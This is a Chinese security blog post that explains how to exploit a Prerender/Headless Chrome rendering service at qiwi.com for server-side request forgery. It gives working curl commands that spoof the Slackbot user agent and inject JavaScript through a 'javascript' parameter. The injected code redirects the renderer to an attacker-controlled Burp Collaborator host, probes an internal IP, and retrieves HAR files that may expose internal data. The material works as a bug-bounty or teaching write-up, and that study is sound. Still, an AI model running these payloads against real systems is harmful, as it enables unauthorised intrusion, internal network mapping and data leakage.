利用某种组件来实现SSRF

admin 2024年7月12日18:57:32评论92 views字数 3937阅读13分7秒阅读模式

正文

正常请求

在正常情况下,Prerender会接受用户代理为SlackbotLinkExpanding 1.0的请求,并渲染网页内容。这种请求不会包含恶意的JavaScript代码。例如:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com'

这个请求只是简单地请求了https://qiwi.com 的内容,并不会包含任何恶意的JavaScript参数。

受到攻击之后的请求

受到攻击之后的请求会利用javascript参数来执行恶意的JavaScript代码。例如,攻击者可以发送一个包含javascript=window.prerenderData=window.location.replace参数的请求,将Prerender重定向到攻击者控制的服务器:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")'

在这个请求中,参数 javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")会导致Prerender执行JavaScript代码,将页面重定向到攻击者控制的域名burpcollaborator.net,从而实现CSRF或其他攻击目的。

对比分析

  • 正常请求:请求的URL只是单纯访问目标网站的内容,不包含任何恶意代码或参数。

  • 攻击请求:请求的URL包含恶意的JavaScript代码,通过javascript参数注入,导致Prerender执行不该执行的脚本,进而实现内部网络探测或数据泄露。

攻击流程分析

如何发现目标使用基于Headless Chrome的Prerender HAR Capturer 5.6.0来渲染HTML、截图、生成PDF文件和HAR文件的

1.信息收集

攻击者可能首先会对目标网站进行信息收集,以了解其技术栈和运行环境。这可以通过以下方法实现:

  • 观察网站行为:攻击者可以访问网站并观察其行为,比如是否有任何明显的特性或指示表明使用了特定的预渲染工具。

  • 分析HTTP头:通过分析HTTP响应头,可以发现一些关于服务器和应用的信息。例如,某些预渲染工具会在响应头中包含特定的标识信息。

2.用户代理探测

攻击者可以通过改变用户代理字符串来探测目标网站的行为。Prerender工具通常会响应特定的用户代理字符串,比如来自搜索引擎的爬虫或特定的机器人。

curl -I -H "User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)" https://qiwi.com

如果网站的响应与正常用户代理字符串不同,则可能表明该网站使用了Prerender或类似的工具。

3.特定请求参数探测

攻击者可能会尝试向网站发送特定的请求参数,以观察响应行为。某些预渲染工具可能会响应特定的参数,比如renderType或javascript。

curl -I "https://qiwi.com/?renderType=har"

如果响应中包含特定的内容类型或额外的信息,则可以推断出网站使用了Prerender工具。

4.分析响应内容

通过分析网站的响应内容,攻击者可以发现一些预渲染工具的特性。例如,生成的HAR文件或PDF文件可能包含特定的标识信息。

攻击者可以使用以下命令来获取和分析响应内容:

curl -O "https://qiwi.com/?renderType=har"

如果响应中包含特定的内容类型或额外的信息,则可以推断出网站使用了Prerender工具。(事实上,里面确实有Prerender的特征)

5.文档和开源项目

攻击者可以参考与目标网站相关的文档和开源项目,寻找使用Prerender工具的线索。如果目标网站使用的技术栈是开源的,攻击者可以在代码仓库中查找相关信息。

通过以上步骤,攻击者可以逐步收集信息并推断出目标使用了基于Headless Chrome的Prerender HAR Capturer 5.6.0

事实上我们在漏洞挖掘一个目标的时候,也要注意一个网站所使用的技术栈,比方说,如果一个目标使用的是java技术栈,那么它很有可能使用的是restful风格的api(了解了这一点就可以更加方便的去测试越权等漏洞)

确定用户代理伪装

攻击者发现使用特定的用户代理字符串SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)可以触发Prerender来处理请求。

确定JavaScript注入点

攻击者发现可以通过GET参数javascript来注入并执行JavaScript代码。

构造恶意请求

攻击者构造一个包含恶意JavaScript代码的请求。这个代码将导致Prerender执行不该执行的操作,如内部网络探测或重定向到攻击者控制的服务器。

具体攻击流程和代码示例

1.发送普通请求以测试用户代理伪装

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com'

这个请求只是简单地测试用户代理伪装是否成功触发Prerender处理请求。

2.发送包含恶意JavaScript代码的请求

攻击者利用GET参数javascript来注入JavaScript代码,使Prerender执行恶意操作。例如,重定向到攻击者控制的服务器:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")'

在这个请求中,javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/") 会导致Prerender执行以下JavaScript代码:

window.prerenderData = window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/");

这段代码会让浏览器重定向到攻击者控制的服务器burpcollaborator.net,从而实现数据泄露或其他恶意行为。

3.内部网络探测

攻击者还可以利用同样的技术探测内部网络中的主机。例如,尝试访问内部IP地址:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://10.250.33.17/")'

这会导致Prerender尝试访问内部IP地址10.250.33.17,从而确认该IP地址的存在和响应。

4.获取内部信息

通过查询特定参数(如renderType=har),攻击者可能会获取更多内部网络信息。例如:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?renderType=har'

这种请求可能会返回包含内部IP地址等敏感信息的HAR文件。

总结

通过这个流程,攻击者利用Prerender的不安全配置,伪装成特定用户代理,注入恶意JavaScript代码,执行内部网络探测和数据泄露等攻击行为。每个环节的关键在于找到合适的注入点和伪装用户代理来触发Prerender执行不该执行的操作。

原文始发于微信公众号(迪哥讲事):利用某种组件来实现SSRF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月12日18:57:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用某种组件来实现SSRFhttps://cn-sec.com/archives/2944543.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息